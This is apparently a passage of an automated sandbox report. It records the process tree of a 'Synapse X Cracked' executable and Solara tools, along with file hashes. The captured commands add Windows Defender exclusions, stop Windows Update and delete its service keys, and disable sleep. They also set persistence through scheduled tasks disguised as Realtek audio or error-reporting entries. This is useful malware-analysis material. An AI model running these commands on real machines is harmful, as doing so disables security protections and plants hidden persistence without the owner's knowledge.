                                                                                        PID:212
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6720 /prefetch:1
                                                                                        2⤵
                                                                                          PID:4956
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7180 /prefetch:1
                                                                                          2⤵
                                                                                            PID:2248
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7692 /prefetch:1
                                                                                            2⤵
                                                                                              PID:1368
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7152 /prefetch:1
                                                                                              2⤵
                                                                                                PID:4812
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7908 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:2876
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5668 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:3960
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7712 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:2836
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7472 /prefetch:8
                                                                                                      2⤵
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      PID:3448
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,6605639461492778051,3818289717904661655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7584 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:3236
                                                                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:4380
                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:1608
                                                                                                        • C:\Windows\system32\OpenWith.exe
                                                                                                          C:\Windows\system32\OpenWith.exe -Embedding
                                                                                                          1⤵
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:5064
                                                                                                        • C:\Windows\System32\rundll32.exe
                                                                                                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                          1⤵
                                                                                                            PID:4788
                                                                                                          • C:\Program Files\7-Zip\7zG.exe
                                                                                                            "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap3490:128:7zEvent8954
                                                                                                            1⤵
                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                            PID:2272
                                                                                                          • C:\Program Files\7-Zip\7zG.exe
                                                                                                            "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap21942:128:7zEvent16370
                                                                                                            1⤵
                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                            PID:3016
                                                                                                          • C:\Users\Admin\Downloads\Synapse X Cracked\Synapse X.exe
                                                                                                            "C:\Users\Admin\Downloads\Synapse X Cracked\Synapse X.exe"
                                                                                                            1⤵
                                                                                                            • Checks computer location settings
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                            PID:1632
                                                                                                            • C:\Users\Admin\AppData\Roaming\conhost_syn.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\conhost_syn.exe"
                                                                                                              2⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:2268
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                                                3⤵
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:1036
                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                                                                3⤵
                                                                                                                  PID:1068
                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                    sc stop UsoSvc
                                                                                                                    4⤵
                                                                                                                    • Launches sc.exe
                                                                                                                    PID:1004
                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                    sc stop WaaSMedicSvc
                                                                                                                    4⤵
                                                                                                                    • Launches sc.exe
                                                                                                                    PID:2360
                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                    sc stop wuauserv
                                                                                                                    4⤵
                                                                                                                    • Launches sc.exe
                                                                                                                    PID:1552
                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                    sc stop bits
                                                                                                                    4⤵
                                                                                                                    • Launches sc.exe
                                                                                                                    PID:4880
                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                    sc stop dosvc
                                                                                                                    4⤵
                                                                                                                    • Launches sc.exe
                                                                                                                    PID:624
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                                                                                                    4⤵
                                                                                                                      PID:4828
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                                                                                                      4⤵
                                                                                                                        PID:1140
                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                                                                                                        4⤵
                                                                                                                        • Modifies security service
                                                                                                                        PID:2920
                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                                                                                                        4⤵
                                                                                                                          PID:4956
                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                                                                          4⤵
                                                                                                                            PID:5068
                                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                          cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                                                                          3⤵
                                                                                                                          • Power Settings
                                                                                                                          PID:4028
                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                            powercfg /x -hibernate-timeout-ac 0
                                                                                                                            4⤵
                                                                                                                            • Power Settings
                                                                                                                            PID:1404
                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                            powercfg /x -hibernate-timeout-dc 0
                                                                                                                            4⤵
                                                                                                                            • Power Settings
                                                                                                                            PID:3124
                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                            powercfg /x -standby-timeout-ac 0
                                                                                                                            4⤵
                                                                                                                            • Power Settings
                                                                                                                            PID:4800
                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                            powercfg /x -standby-timeout-dc 0
                                                                                                                            4⤵
                                                                                                                            • Power Settings
                                                                                                                            PID:2708
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell <#jpkho#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'Realtek High Definition Audio' /tr '''C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek High Definition Audio' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek High Definition Audio" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe' }
                                                                                                                          3⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:3224
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell <#ykfisbv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Realtek High Definition Audio" } Else { "C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe" }
                                                                                                                          3⤵
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:3184
                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                            "C:\Windows\system32\schtasks.exe" /run /tn Realtek High Definition Audio
                                                                                                                            4⤵
                                                                                                                              PID:2772
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Synapse X.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Synapse X.exe"
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:516
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 516 -s 19788
                                                                                                                            3⤵
                                                                                                                            • Program crash
                                                                                                                            PID:1424
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 516 -ip 516
                                                                                                                        1⤵
                                                                                                                          PID:1140
                                                                                                                        • C:\Users\Admin\Downloads\Synapse X Cracked\Synapse X.exe
                                                                                                                          "C:\Users\Admin\Downloads\Synapse X Cracked\Synapse X.exe"
                                                                                                                          1⤵
                                                                                                                          • Checks computer location settings
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:2324
                                                                                                                          • C:\Users\Admin\AppData\Roaming\conhost_syn.exe
                                                                                                                            "C:\Users\Admin\AppData\Roaming\conhost_syn.exe"
                                                                                                                            2⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            PID:2788
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                                                              3⤵
                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              PID:4496
                                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                              cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                                                                              3⤵
                                                                                                                                PID:4544
                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                  sc stop UsoSvc
                                                                                                                                  4⤵
                                                                                                                                  • Launches sc.exe
                                                                                                                                  PID:1204
                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                  sc stop WaaSMedicSvc
                                                                                                                                  4⤵
                                                                                                                                  • Launches sc.exe
                                                                                                                                  PID:3468
                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                  sc stop wuauserv
                                                                                                                                  4⤵
                                                                                                                                  • Launches sc.exe
                                                                                                                                  PID:3972
                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                  sc stop bits
                                                                                                                                  4⤵
                                                                                                                                  • Launches sc.exe
                                                                                                                                  PID:116
                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                  sc stop dosvc
                                                                                                                                  4⤵
                                                                                                                                  • Launches sc.exe
                                                                                                                                  PID:3224
                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                                                                                                                                  4⤵
                                                                                                                                    PID:1068
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                                                                                                                                    4⤵
                                                                                                                                      PID:2480
                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                                                                                                                      4⤵
                                                                                                                                        PID:3184
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                                                                                                                        4⤵
                                                                                                                                          PID:4828
                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                                                                                                                          4⤵
                                                                                                                                            PID:4432
                                                                                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                          cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                                                                                          3⤵
                                                                                                                                          • Power Settings
                                                                                                                                          PID:3588
                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                            powercfg /x -hibernate-timeout-ac 0
                                                                                                                                            4⤵
                                                                                                                                            • Power Settings
                                                                                                                                            PID:864
                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                            powercfg /x -hibernate-timeout-dc 0
                                                                                                                                            4⤵
                                                                                                                                            • Power Settings
                                                                                                                                            PID:2036
                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                            powercfg /x -standby-timeout-ac 0
                                                                                                                                            4⤵
                                                                                                                                            • Power Settings
                                                                                                                                            PID:4324
                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                            powercfg /x -standby-timeout-dc 0
                                                                                                                                            4⤵
                                                                                                                                            • Power Settings
                                                                                                                                            PID:3524
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell <#jpkho#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'Realtek High Definition Audio' /tr '''C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek High Definition Audio' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek High Definition Audio" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe' }
                                                                                                                                          3⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          PID:4260
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell <#ykfisbv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Realtek High Definition Audio" } Else { "C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe" }
                                                                                                                                          3⤵
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          PID:4228
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            "C:\Windows\system32\schtasks.exe" /run /tn Realtek High Definition Audio
                                                                                                                                            4⤵
                                                                                                                                              PID:1800
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Synapse X.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Synapse X.exe"
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:4636
                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4636 -s 1072
                                                                                                                                            3⤵
                                                                                                                                            • Program crash
                                                                                                                                            PID:2924
                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4636 -ip 4636
                                                                                                                                        1⤵
                                                                                                                                          PID:3724
                                                                                                                                        • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                          C:\Windows\system32\AUDIODG.EXE 0x464 0x49c
                                                                                                                                          1⤵
                                                                                                                                            PID:3876
                                                                                                                                          • C:\Users\Admin\Downloads\Solara\luajit.exe
                                                                                                                                            "C:\Users\Admin\Downloads\Solara\luajit.exe"
                                                                                                                                            1⤵
                                                                                                                                              PID:2244
                                                                                                                                            • C:\Users\Admin\Downloads\Solara\luajit.exe
                                                                                                                                              "C:\Users\Admin\Downloads\Solara\luajit.exe"
                                                                                                                                              1⤵
                                                                                                                                                PID:3960
                                                                                                                                              • C:\Users\Admin\Downloads\Solara\luajit.exe
                                                                                                                                                "C:\Users\Admin\Downloads\Solara\luajit.exe"
                                                                                                                                                1⤵
                                                                                                                                                  PID:2400
                                                                                                                                                • C:\Users\Admin\Downloads\Solara\luajit.exe
                                                                                                                                                  "C:\Users\Admin\Downloads\Solara\luajit.exe"
                                                                                                                                                  1⤵
                                                                                                                                                    PID:2284
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Solara\Application.bat" "
                                                                                                                                                    1⤵
                                                                                                                                                      PID:688
                                                                                                                                                      • C:\Users\Admin\Downloads\Solara\luajit.exe
                                                                                                                                                        luajit.exe cfg.txt
                                                                                                                                                        2⤵
                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                        PID:4504
                                                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                          schtasks /create /sc daily /st 13:01 /f /tn WindowsErrorReporting_ODA3 /tr ""C:\Users\Admin\AppData\Local\ODA3\ODA3.exe" "C:\Users\Admin\AppData\Local\ODA3\cfg.txt""
                                                                                                                                                          3⤵
                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                          PID:4972
                                                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                          schtasks /create /sc daily /st 13:01 /f /tn Setup /tr "C:/Windows/System32/oobe/Setup.exe" /rl highest
                                                                                                                                                          3⤵
                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                          PID:1132
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Solara\Application.bat" "
                                                                                                                                                      1⤵
                                                                                                                                                        PID:1524
                                                                                                                                                        • C:\Users\Admin\Downloads\Solara\luajit.exe
                                                                                                                                                          luajit.exe cfg.txt
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4728
                                                                                                                                                        • C:\Users\Admin\Downloads\Solara\luajit.exe
                                                                                                                                                          "C:\Users\Admin\Downloads\Solara\luajit.exe"
                                                                                                                                                          1⤵
                                                                                                                                                            PID:1404
                                                                                                                                                          • C:\Users\Admin\Downloads\Solara (1)\Bootstrapper.exe
                                                                                                                                                            "C:\Users\Admin\Downloads\Solara (1)\Bootstrapper.exe"
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1924
                                                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                "cmd" /c ipconfig /all
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4628
                                                                                                                                                                  • C:\Windows\system32\ipconfig.exe
                                                                                                                                                                    ipconfig /all
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Gathers network information
                                                                                                                                                                    PID:1100
                                                                                                                                                                • C:\Users\Admin\Downloads\Solara (1)\BootstrapperV1.23.exe
                                                                                                                                                                  "C:\Users\Admin\Downloads\Solara (1)\BootstrapperV1.23.exe" --oldBootstrapper "C:\Users\Admin\Downloads\Solara (1)\Bootstrapper.exe" --isUpdate true
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                  PID:4312
                                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                    "cmd" /c ipconfig /all
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4648
                                                                                                                                                                      • C:\Windows\system32\ipconfig.exe
                                                                                                                                                                        ipconfig /all
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Gathers network information
                                                                                                                                                                        PID:4960
                                                                                                                                                                    • C:\Program Files\nodejs\node.exe
                                                                                                                                                                      "node" -v
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                      PID:3448
                                                                                                                                                                    • C:\ProgramData\Solara\Solara.exe
                                                                                                                                                                      "C:\ProgramData\Solara\Solara.exe"
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                      PID:1908
                                                                                                                                                                      • C:\Program Files\nodejs\node.exe
                                                                                                                                                                        "node" "C:\ProgramData\Solara\Monaco\fileaccess\index.js" 9db37d3094db4387
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                        PID:2004
                                                                                                                                                                • C:\Users\Admin\Downloads\Solara (1)\BootstrapperV1.23.exe
                                                                                                                                                                  "C:\Users\Admin\Downloads\Solara (1)\BootstrapperV1.23.exe"
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:1696
                                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                    "cmd" /c ipconfig /all
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:5068
                                                                                                                                                                      • C:\Windows\system32\ipconfig.exe
                                                                                                                                                                        ipconfig /all
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Gathers network information
                                                                                                                                                                        PID:3156
                                                                                                                                                                    • C:\Program Files\nodejs\node.exe
                                                                                                                                                                      "node" -v
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                      PID:4808
                                                                                                                                                                    • C:\ProgramData\Solara\Solara.exe
                                                                                                                                                                      "C:\ProgramData\Solara\Solara.exe"
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                      PID:3652
                                                                                                                                                                      • C:\Program Files\nodejs\node.exe
                                                                                                                                                                        "node" "C:\ProgramData\Solara\Monaco\fileaccess\index.js" fae03bf31aa34d83
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                        PID:976

                                                                                                                                                                  Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                  Replay Monitor

                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                  Downloads

                                                                                                                                                                  • C:\Config.Msi\e57aed1.rbs

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.0MB

                                                                                                                                                                    MD5

                                                                                                                                                                    f50f4934b5ddd814cec6863ff6813cb6

                                                                                                                                                                    SHA1

                                                                                                                                                                    a067eca10876bdcec2fb7288e011cfcf1efb0baf

                                                                                                                                                                    SHA256

                                                                                                                                                                    ec9f270a61c199bb4d9c70a1345c2083da66fcd2b1556ed6b67bcae9a7da687b

                                                                                                                                                                    SHA512

                                                                                                                                                                    f28235b7c7fbfea00329eb7ab8a6e514a4bc1ce59277d68724bce979e96834b433e626deb16772a3be484b1ca19d956be18acf18f109257bc851dc27354f1499

                                                                                                                                                                  • C:\Program Files\nodejs\node_etw_provider.man

                                                                                                                                                                    Filesize

                                                                                                                                                                    10KB

                                                                                                                                                                    MD5

